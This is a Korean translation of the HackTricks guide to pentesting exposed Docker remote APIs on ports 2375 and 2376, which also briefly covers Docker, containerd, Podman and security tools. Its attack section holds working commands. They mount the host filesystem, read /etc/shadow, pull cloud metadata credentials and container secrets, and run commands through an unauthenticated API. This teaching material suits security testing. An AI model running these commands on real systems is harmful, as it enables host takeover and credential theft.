2375, 2376 Pentesting Docker

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Docker 기초

Docker란

Docker는 컨테이너화 산업최전선 플랫폼으로, 지속적인 혁신을 주도합니다. 이것은 전통적인 것부터 미래지향적인 것까지 애플리케이션의 손쉬운 생성과 배포를 가능하게 하며, 다양한 환경에서의 안전한 배포를 보장합니다.

기본 docker 아키텍처

  • containerd: 이것은 컨테이너를 위한 핵심 런타임으로, 컨테이너의 전체 라이프사이클 관리를 담당합니다. 여기에는 이미지 전송 및 저장 처리와 컨테이너의 실행, 모니터링 및 네트워킹 감독이 포함됩니다. containerd에 대한 더 자세한 내용추후 설명됩니다.
  • The container-shim헤드리스 컨테이너를 처리하는 데 있어 중개자로서 중요한 역할을 하며, 컨테이너가 초기화된 후 runc로부터 원활하게 인계받습니다.
  • runc: 경량화되고 범용적인 컨테이너 런타임으로 명성이 높은 runc는 OCI 표준을 따릅니다. 이는 containerd가 OCI 지침에 따라 컨테이너를 시작하고 관리하는 데 사용되며, 원래의 libcontainer에서 발전해 왔습니다.
  • grpc는 containerd와 docker-engine 간의 통신을 원활하게 해 주며 효율적인 상호작용을 보장합니다.
  • The OCI는 런타임 및 이미지에 대한 OCI 사양을 유지하는 데 핵심적인 역할을 하며, 최신 Docker 버전은 OCI 이미지 및 런타임 표준을 모두 준수합니다.

기본 명령어

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd는 특히 Docker and Kubernetes 같은 컨테이너 플랫폼의 요구를 충족시키기 위해 개발되었습니다. 운영체제별 기능과 시스템 호출을 추상화하여 Linux, Windows, Solaris 등 다양한 운영체제에서 컨테이너 실행을 단순화하는 것을 목표로 합니다. Containerd의 목표는 사용자에게 필요한 필수 기능만 포함하고 불필요한 구성 요소를 제외하려는 것이지만, 이를 완전히 달성하는 것은 어려운 일로 인식됩니다.

핵심 설계 결정 중 하나는 Containerd는 네트워킹을 처리하지 않는다는 것입니다. 네트워킹은 분산 시스템에서 중요한 요소로, Software Defined Networking (SDN)이나 서비스 디스커버리와 같은 복잡성이 플랫폼마다 크게 다릅니다. 따라서 Containerd는 네트워킹 측면을 지원하는 플랫폼이 관리하도록 맡깁니다.

Docker가 Containerd를 사용하여 컨테이너를 실행하지만, Containerd는 Docker 기능의 일부만 지원한다는 점을 유의해야 합니다. 구체적으로 Containerd는 Docker에 있는 네트워크 관리 기능을 제공하지 않으며 Docker swarms를 직접 생성하는 것을 지원하지 않습니다. 이러한 차이는 Containerd가 컨테이너 런타임 환경에 집중하고 보다 전문화된 기능은 통합되는 플랫폼에 위임한다는 점을 강조합니다.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman은 Red Hat에서 개발 및 유지보수하는 Open Container Initiative (OCI) standards를 준수하는 오픈 소스 컨테이너 엔진입니다. Podman은 Docker와 차별화되는 여러 특징을 가지며, 특히 데몬리스(daemonless) 아키텍처rootless 컨테이너 지원을 통해 사용자가 루트 권한 없이 컨테이너를 실행할 수 있게 합니다.

Podman은 Docker의 API와 호환되도록 설계되어 Docker CLI 명령을 사용할 수 있습니다. 이 호환성은 Buildah(이미지 빌드용)와 Skopeo(push, pull, inspect 같은 이미지 작업용) 같은 툴을 포함하는 생태계로 확장됩니다. 이러한 도구들에 대한 자세한 내용은 그들의 GitHub page에서 확인할 수 있습니다.

Key Differences

  • Architecture: Docker의 백그라운드 데몬을 사용하는 클라이언트-서버 모델과 달리, Podman은 데몬 없이 동작합니다. 이 설계는 컨테이너가 이를 시작한 사용자의 권한으로 실행되도록 하여 root 접근 권한이 필요 없게 만들어 보안을 향상시킵니다.
  • Systemd Integration: Podman은 systemd와 통합되어 systemd 유닛을 통해 컨테이너를 관리할 수 있습니다. 이는 Docker가 주로 Docker 데몬 프로세스 관리를 위해 systemd를 사용하는 것과 대조됩니다.
  • Rootless Containers: Podman의 핵심 기능 중 하나는 컨테이너를 시작한 사용자의 권한으로 실행할 수 있다는 것입니다. 이 방식은 공격자가 획득할 수 있는 권한을 루트가 아닌 해당 사용자 권한으로 제한하여 컨테이너 침해로 인한 위험을 줄입니다.

Podman의 접근 방식은 사용자 권한 관리와 기존 Docker 워크플로와의 호환성을 강조하면서 Docker에 대한 안전하고 유연한 대안을 제공합니다.

Tip

Note that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as:

podman --version
podman info
pdoman images ls
podman ls

Basic Information

Remote API는 활성화되었을 때 기본적으로 포트 2375에서 실행됩니다. 이 서비스는 기본 설정으로 인증을 요구하지 않으므로 공격자가 권한이 높은 docker 컨테이너를 시작할 수 있습니다. Remote API를 사용하면 호스트(루트 디렉터리)를 컨테이너에 마운트하여 호스트 환경의 파일을 읽고 쓸 수 있습니다.

Default port: 2375

PORT    STATE SERVICE
2375/tcp open  docker

열거

수동

docker API를 열거하려면 docker 명령어나 curl을 다음 예와 같이 사용할 수 있습니다:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

만약 docker 명령으로 원격 docker API에 접속할 수 있다면 서비스와 상호작용하기 위해 앞서 설명한 docker 명령들 중 어떤 것이든 실행할 수 있다.

Tip

export DOCKER_HOST="tcp://localhost:2375"를 설정하면 docker 명령에서 -H 파라미터 사용을 피할 수 있다

Fast privilege escalation

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

때때로 2376 포트가 TLS 엔드포인트에 대해 열려 있는 것을 볼 수 있습니다. 저는 docker client로는 연결할 수 없었지만 curl로는 연결할 수 있습니다.

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

이 내용에 대해 더 자세한 정보를 원하시면, 제가 명령어를 복사한 곳에서 확인할 수 있습니다: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

자동

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

침해

다음 페이지에서 escape from a container 방법을 찾을 수 있습니다:

Container Security

이를 악용하면 escape from a container가 가능하며, 원격 머신에서 취약한 컨테이너를 실행한 뒤 escape from a container하여 머신을 compromise할 수 있습니다:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

Privilege Escalation

만약 docker를 사용하는 호스트 내부에 있다면, read this information to try to elevate privileges을 참고하세요.

실행 중인 Docker 컨테이너에서 secrets 찾기

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

비밀을 찾으려면 env (environment variable 섹션)을 확인하세요. 다음과 같은 항목을 찾을 수 있습니다:

  • Passwords.
  • Ip’s.
  • Ports.
  • Paths.
  • Others… .

파일을 추출하려면:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Docker 보안

Docker 설치 및 사용 보안

  • 해당 도구 https://github.com/docker/docker-bench-security를 사용하여 현재 docker 설치를 검사할 수 있습니다.
  • ./docker-bench-security.sh
  • 해당 도구 https://github.com/kost/dockscan를 사용하여 현재 docker 설치를 검사할 수 있습니다.
  • dockscan -v unix:///var/run/docker.sock
  • 해당 도구 https://github.com/genuinetools/amicontained를 사용하여 서로 다른 보안 옵션으로 실행할 때 컨테이너가 갖게 될 권한을 확인할 수 있습니다. 이는 특정 보안 옵션을 사용해 컨테이너를 실행할 때의 영향을 이해하는 데 유용합니다:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Docker 이미지 보안

  • 해당 docker 이미지 https://github.com/quay/clair를 사용하여 다른 docker 이미지들을 스캔하고 취약점을 찾을 수 있습니다.
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Dockerfile 보안

의심스러운 활동 로깅

  • 해당 도구 https://github.com/falcosecurity/falco를 사용하여 실행 중인 컨테이너의 의심스러운 동작을 탐지할 수 있습니다.
  • 다음 예시에서 Falco가 커널 모듈을 컴파일하여 삽입하는 방식을 주목하세요. 그 후 규칙을 로드하고 의심스러운 활동 로깅을 시작합니다. 이 경우 2개의 privileged 컨테이너가 시작된 것을 감지했고, 그중 1개는 민감한 마운트를 가지고 있었으며, 몇 초 후에는 그 컨테이너 중 하나 내부에서 셸이 열리는 것을 감지했습니다.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Docker 모니터링

auditd를 사용하여 docker를 모니터링할 수 있습니다.

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기